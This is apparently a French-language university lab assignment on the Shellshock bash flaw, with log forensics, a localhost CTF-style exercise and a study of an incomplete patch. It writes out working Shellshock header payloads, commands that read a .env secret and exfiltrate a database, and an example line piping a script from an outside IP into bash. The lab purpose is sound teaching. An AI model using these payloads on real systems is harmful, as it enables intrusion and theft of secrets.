

TP ShellShock – Consigne

Préparation de l'environnement

Avant de commencer le premier exercice vous allez devoir télécharger l'environnement qui vous permettra de faire le TP.

À faire dans vdn :

```
git clone https://github.com/iamelboi/dockerfile-shellshock
```

Puis, pour lancer la configuration docker avec la commande suivante (exécuter la commande dans le même répertoire que le Dockerfile se trouvant sur le git) :

```
docker build -no-cache -t tp-shellshock .
```

Enfin, pour lancer l'image, utilisez cette commande :

```
docker run -d -p 8080:80 --name shellshock-app tp-shellshock
```

Vous avez maintenant accès à un faux serveur web qui tourne sur votre session VDN sur l'ip 127.0.0.1:8080, vous pouvez donc effectuer des requêtes http sur ce serveur avec la commande curl, toutefois attention à quelques points :

- Le serveur que vous venez de lancer ne fonctionne pas avec des proxy, pensez donc, lorsque vous effectuez une requête http, à retirer les proxy (avec la commande curl, cela se traduit par l'utilisation de la commande -noproxy avec le paramètre "*").
- Le serveur ne possède pas les alias des commandes que vous possédez sur votre fonction de base, vous trouverez donc en annexe de ce sujet un tableau répertoriant les différentes commandes de base de bash avec leur chemin relatif (par exemple, vous ne pouvez pas appeler ls dans vos requêtes http, vous devez appeler /bin/ls).

Exercice 1

Voici les en-têtes de quelques requêtes HTTP qui ont été faites sur le serveur hier.

=== Requête 1 ===

```
GET /index.html HTTP/1.1
Host: boutique-exemple.fr
User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36
(KHTML, like Gecko) Chrome/118.0.0.0 Safari/537.36
Accept: text/html,application/xhtml+xml
Referer: https://www.google.com/
Cookie: session_id=a93f2e1c9b7d
```

=== Requête 2 ===

```
GET /produits/chaussures.html HTTP/1.1
Host: boutique-exemple.fr
User-Agent: Mozilla/5.0 (Macintosh; Intel Mac OS X 10_15_7)
AppleWebKit/605.1.15 (KHTML, like Gecko) Version/16.0 Safari/605.1.15
Accept: text/html,application/xhtml+xml
Referer: https://boutique-exemple.fr/recherche?q=
()%20{%20:;%20};%20echo%20vuln
Cookie: session_id=4b1e7f20d3aa
```

=== Requête 3 ===

```
POST /login HTTP/1.1
Host: boutique-exemple.fr
User-Agent: Mozilla/5.0 (Linux; Android 13; SM-G991B) AppleWebKit/537.36
(KHTML, like Gecko) Chrome/117.0.0.0 Mobile Safari/537.36
Accept: text/html,application/xhtml+xml
Content-Type: application/x-www-form-urlencoded
Content-Length: 34

email=client%40exemple.fr&pass=***
```

=== Requête 4 ===

```
GET /images/logo.png HTTP/1.1
Host: boutique-exemple.fr
User-Agent: Mozilla/5.0 (iPhone; CPU iPhone OS 16_5 like Mac OS X)
AppleWebKit/605.1.15
Accept: image/webp,image/*
Referer: https://boutique-exemple.fr/index.html
```

=== Requête 5 ===

```
GET /robots.txt HTTP/1.1
Host: boutique-exemple.fr
User-Agent: Mozilla/5.0 (compatible; Googlebot/2.1;
+http://www.google.com/bot.html)
Accept: text/plain
```

=== Requête 6 ===

```
GET /panier HTTP/1.1
Host: boutique-exemple.fr
User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36
(KHTML, like Gecko) Chrome/118.0.0.0 Safari/537.36
Accept: text/html,application/xhtml+xml
Cookie: session_id=4b1e7f20d3aa; panier_id=x82kd91
```

=== Requête 7 ===

```
GET /favicon.ico HTTP/1.1
Host: boutique-exemple.fr
User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36
Accept: image/x-icon,image/*
```

=== Requête 8 ===

```
POST /cgi-bin/contact.sh HTTP/1.1
Host: boutique-exemple.fr
User-Agent: () { ;; };
Accept: */*
Content-Type: application/x-www-form-urlencoded
Content-Length: 27

nom=Test&message=bonjour
```

=== Requête 9 ===

```
GET /css/style.css HTTP/1.1
Host: boutique-exemple.fr
User-Agent: Mozilla/5.0 (Macintosh; Intel Mac OS X 10_15_7)
AppleWebKit/605.1.15
Accept: text/css,*/*
```

=== Requête 10 ===

```
GET /produits/sac.html HTTP/1.1
Host: boutique-exemple.fr
User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36
(KHTML, like Gecko) Chrome/118.0.0.0 Safari/537.36
Accept: text/html,application/xhtml+xml
Referer: https://boutique-exemple.fr/index.html
Cookie: session_id=a93f2e1c9b7d
```

=== Requête 11 ===

```
GET /cgi-bin/stats.sh HTTP/1.1
Host: boutique-exemple.fr
User-Agent: Mozilla/5.0 (Windows; wget-like-bot) AppleWebKit/537.36
(compatible; crawler; ()) test
Accept: */*
```

=== Requête 12 ===

```
GET /newsletter HTTP/1.1
Host: boutique-exemple.fr
User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36
(KHTML, like Gecko) Chrome/118.0.0.0 Safari/537.36
Accept: text/html,application/xhtml+xml
Referer: https://boutique-exemple.fr/panier
Cookie: session_id=4b1e7f20d3aa; newsletter_popup=dismissed
```

Questions :

1. Trouvez parmi les requêtes, laquelle est à l'origine de l'attaque.
2. Quel est le script CGI du serveur attaqué dans la requête trouvée précédemment ?

Voici un exemple d'une requête avec l'attaque ShellShock.

```
POST /cgi-bin/contact.sh HTTP/1.1
Host: boutique-exemple.fr
User-Agent: () { ;; }; /bin/bash -c "curl http://185.23.44.7/payload.sh |
bash"
Accept: */*
Content-Type: application/x-www-form-urlencoded
Content-Length: 27
```

3. Quel était l'objectif de l'attaquant ?

Exercice 2

Alice possède un coffre. Elle en a communiqué le code à une seule personne de son entourage, dans un message privé.

Objectif : découvrir qui détient le code du coffre d'Alice.

Vous êtes Pierre, un proche qui s'est introduit dans le cercle d'Alice. Vous disposez d'un compte sur Agora :

- identifiant : pierre
- mot de passe : avionQuiVole

Connectez-vous avec ce compte pour commencer à explorer le réseau.

Les messages ne sont pas lisibles directement : ils sont chiffrés. Pour y arriver, vous devez récupérer deux choses sur le serveur (/app) :

- la base de données SQLite (db/app.db) ;
- la clé de chiffrement, qui se trouve dans le fichier .env.

Avec la base et la clé, déchiffrez les messages et retrouvez la personne qui possède le code.

Lancer le site

Récupérez l'archive agora-tp.tar.gz, puis :

```
gunzip -c agora-tp.tar.gz | docker load
docker run --rm -p 3000:3000 -p 8080:80 agora-tp
```

Le site tourne sur <http://localhost:3000>.

Vérifier que la faille Shellshock est présente

Ouvrez un autre terminal et lancez :

```
curl -s -H 'User-Agent: () { :; }; echo; /usr/bin/id'
http://localhost:8080/cgi-bin/status.sh
```

S'il y a une réponse (l'identité de l'utilisateur du serveur), la faille Shellshock est présente.

On appelle le script status.sh car, pour que la faille fonctionne, il faut viser un script exécuté par bash (un CGI) : c'est lui qui déclenche la vulnérabilité, pas une simple page web.

Étape 1 — Reconnaissance sur le site

Allez sur `http://localhost:3000` et connectez-vous avec les identifiants de Pierre.

Trouvez le post qui indique qui est susceptible d'avoir reçu le code du coffre fort d'Alice.

Étape 2 — Récupérer la clé

Après avoir vu les posts, récupérez les fichiers du serveur via la faille.

Commandes utiles pour construire la requête :

- `curl -s -H 'User-Agent: () { :; }; echo; <commande à exécuter>'` : injecte la commande via l'en-tête ;
- `http://localhost:8080/cgi-bin/status.sh` : l'URL à appeler (le script bash vulnérable) ;
- `/bin/cat` : pour afficher le contenu d'un fichier ;
- les variables d'environnement (dont la clé) sont dans `/app/.env`.

Récupérer la clé de chiffrement :

```
curl -s -H 'User-Agent: () { :; }; echo; /bin/cat /app/.env'
http://localhost:8080/cgi-bin/status.sh
```

Étape 3 — Récupérer la base de données

Après avoir la clé, il faut récupérer la base de données SQLite.

Comme c'est un fichier binaire, on l'encode en base64 pour le faire passer par curl, puis on le décode une fois reçu.

- `/usr/bin/base64 <fichier>` : encode un fichier en base64 (côté serveur) ;
- `base64 -d` : décode le base64 sur votre machine (à chaîner avec un `|`) ;
- enregistrez le résultat dans un fichier en `.db` pour pouvoir l'ouvrir avec SQLite.

```
curl -s -H 'User-Agent: () { :; }; echo; /usr/bin/base64 /app/db/app.db'
http://localhost:8080/cgi-bin/status.sh | base64 -d > app.db
```

Étape 4 — Lire la base et déchiffrer les messages

Les messages sont stockés chiffrés, au format `iv:texte_chiffré` (AES-256-CBC).

Lister les messages chiffrés :

```
sqlite3 app.db 'SELECT content FROM messages'
```

Mettre la clé récupérée à l'étape 2 dans une variable KEY (remplacez par la vraie valeur lue dans .env) :

```
KEY=la_cle_hex_lue_dans_le_env
```

Vérifiez avec `echo "$KEY"` : si c'est vide (par exemple dans un nouveau terminal) ou trop court, openssl affichera `hex string is too short` puis `bad decrypt`. Redéfinissez KEY dans ce cas.

Déchiffrer une ligne : collez une ligne de la liste dans `ligne='...'`, le découpage iv / texte chiffré se fait tout seul (juste ligne à modifier) :

```
ligne='COLLER_UNE_LIGNE_ICI'
iv="${ligne%:*}"          # avant le :
data="${ligne#*:}"        # après le :
echo "$data" | openssl enc -d -aes-256-cbc -K "$KEY" -iv "$iv" -A -base64
```

Répétez pour chaque message jusqu'à trouver celui qui contient le code du coffre, et identifiez la personne à qui Alice l'a confié.

Exercice 3

Le 24 septembre 2014, l'équipe de Bash publie un premier correctif officiel (bash43-025) pour corriger Shellshock (CVE-2014-6271). Le lendemain, des chercheurs découvrent que ce correctif est incomplet : une autre syntaxe permet encore d'exploiter le serveur. Cette seconde faille est référencée CVE-2014-7169.

Dans cet exercice, vous allez construire un serveur sur lequel seul le premier patch (bash43-025) est appliqué, puis vérifier par vous-même que l'attaque classique de l'exercice 2 ne fonctionne plus... mais qu'une autre existe encore.

Pour récupérer l'environnement faites :

```
docker build -t tp-shellshock-ex2 -f Dockerfile.exercice2 .
docker run --rm -d -p 8081:80 --name tp-ex2 tp-shellshock-ex2
```

1. Vérifier que le serveur répond

2. Tester l'attaque trouvée dans l'exercice 2 sur ce serveur pour tester si ça fonctionne

Quelle est la différence avec l'exercice 2 ? Expliquez pourquoi.

3. Trouver une autre solution

Le patch bash43-025 corrige la syntaxe utilisée dans l'exercice 2, mais il est resté incomplet. Une seconde vulnérabilité (CVE-2014-7169) permettait, avec une autre syntaxe malformée, d'obtenir un comportement anormal de Bash.

Trouver :

- Que fait exactement CVE-2014-7169 (quel type d'impact, différent de l'exercice 1) ?
- Qu'est-ce qui permet de la déclencher ?

Testez cette syntaxe directement dans le conteneur (`docker exec -it tp-ex2 bash` , puis testez votre commande depuis l'intérieur).

Questions :

- Que révèle ce test sur la différence entre CVE-2014-6271 et CVE-2014-7169 (en quoi le comportement anormal est-il différent) ?
 - Pourquoi un correctif de sécurité peut-il corriger un symptôme sans corriger la cause profonde du bug ?
 - Quel patch officiel a finalement permis de corriger CVE-2014-7169 ?
-

Annexe : Tableau des commandes et de leur chemin absolu

Commande	Chemin absolu
echo	echo
cat	/bin/cat
ls	/bin/ls
env	/usr/bin/env
find	/usr/bin/find
grep	/bin/grep
whoami	/usr/bin/whoami